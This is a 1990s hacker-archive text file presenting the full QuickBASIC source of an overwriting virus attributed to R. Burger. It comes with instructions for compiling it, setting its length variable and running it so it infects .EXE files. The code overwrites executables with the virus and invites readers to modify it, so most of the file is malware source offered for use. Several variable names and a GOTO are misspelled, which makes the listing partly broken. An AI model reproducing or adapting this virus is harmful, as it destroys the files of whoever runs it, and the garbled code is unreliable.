home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / cpi2_8.txt < prev    next >
INI File  |  1995-01-03  |  3KB  |  94 lines

  1. [2.8]
  2.  
  3.                            Viruses in Basic
  4.                            ----------------
  5.  
  6.  
  7. Basic is great language and often people think of it as a limited language
  8. and will not be of any use in creating something like a virus. Well you are
  9. really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987.
  10. This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE
  11. files.To do this you must compile the source code using a the Microsoft 
  12. Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit
  13. the source code to place the lenght of the object program in the LENGHTVIR
  14. variable. BV3.EXE should be in the current directory, COMMAND.COM must be
  15. available, the LENGHTVIR variable must be set to the lenght of the linked      
  16.  
  17. program and remember to use /e parameter when compiling.
  18.  
  19.  
  20.  
  21. 10 REM ** DEMO  
  22. 20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED **
  23. 30 REM ** BASIC DOESNT SUCK 
  24. 40 REM ** NO KIDDING
  25. 50 ON ERROR GOTO 670
  26. 60 REM *** LENGHTVIR MUST BE SET **
  27. 70 REM *** TO THE LENGHT TO THE **
  28. 80 REM *** LINKED PROGRAM ***
  29. 90 LENGHTVIR=2641
  30. 100 VIRROOT$="BV3.EXE"
  31. 110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
  32. 130 SHELL "DIR *.EXE>INH"
  33. 140 REM ** OPEN "INH" FILE AND READ NAMES **
  34. 150 OPEN "R",1,"INH",32000 
  35. 160 GET #1,1
  36. 170 LINE INPUT#1,ORIGINAL$
  37. 180 LINE INPUT#1,ORIGINAL$
  38. 190 LINE INPUT#1,ORIGINAL$
  39. 200 LINE INPUT#1,ORIGINAL$  
  40. 210 ON ERROR GOT 670
  41. 220 CLOSE#2
  42. 230 F=1:LINE INPUT#1,ORIGINAL$
  43. 240 REM ** "%" IS THE MARKER OF THE BV3
  44. 250 REM ** "%" IN THE NAME MEANS
  45. 260 REM  ** INFECTED COPY PRESENT 
  46. 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
  47. 280 ORIGINAL$=MID$(ORIGINAL$,1,13)
  48. 290 EXTENSIONS$=MID$(ORIGINAL,9,13)
  49. 300 MID$(EXTENSIONS$,1,1)="."
  50. 310 REM *** CONCATENATE NAMES INTO FILENAMES **
  51. 320 F=F+1
  52. 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN      
  53. GOTO 350
  54. 340 GOTO 320
  55. 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
  56. 360 ON ERROR GOTO 210
  57. 365 TEST$=""
  58. 370 REM ++ OPEN FILE FOUND +++
  59. 380 OPEN "R",2,OROGINAL$,LENGHTVIR
  60. 390 IF LOF(2) < LENGHTVIR THEN GOTO 420
  61. 400 GET #2,2
  62. 410 LINE INPUT#1,TEST$
  63. 420 CLOSE#2
  64. 431 REM ++ CHECK IF PROGRAM IS ILL ++   
  65. 440 REM ++ "%" AT THE END OF THE FILE MEANS..
  66. 450 REM ++ FILE IS ALREADY SICK ++
  67. 460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210
  68. 470 CLOSE#1
  69. 480 ORIGINALS$=ORIGINAL$
  70. 490 MID$(ORIGINALS$,1,1)="%"
  71. 499 REM ++++ SANE "HEALTHY" PROGRAM ++++
  72. 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
  73. 520 SHELL C$
  74. 530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
  75. 540 C$="COPY "+VIRROOT$+ORIGINAL$
  76. 550 SHELL C$
  77. 560 REM *** APPEND VIRUS MARKER ***
  78. 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
  79. 580 WRITE#1,ORIGINALS$
  80. 590 CLOSE#1
  81. 630 REM ++ OUYPUT MESSAGE ++
  82. 640 PRINT "INFECTION IN " ;ORIGIANAL$; "  !! BE WARE !!"
  83. 650 SYSTEM
  84. 660 REM ** VIRUS ERROR MESSAGE 
  85. 670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM
  86. 680 END
  87.     
  88.  
  89. This basic virus will only attack .EXE files. After the execution you will
  90. see a "INH" file which contains the directory, and the file %SORT.EXE.
  91. Programs which start with "%" are NOT infected ,they pose as back up copies.
  92. 
  93. Downloaded From P-80 International Information Systems 304-744-2253
  94.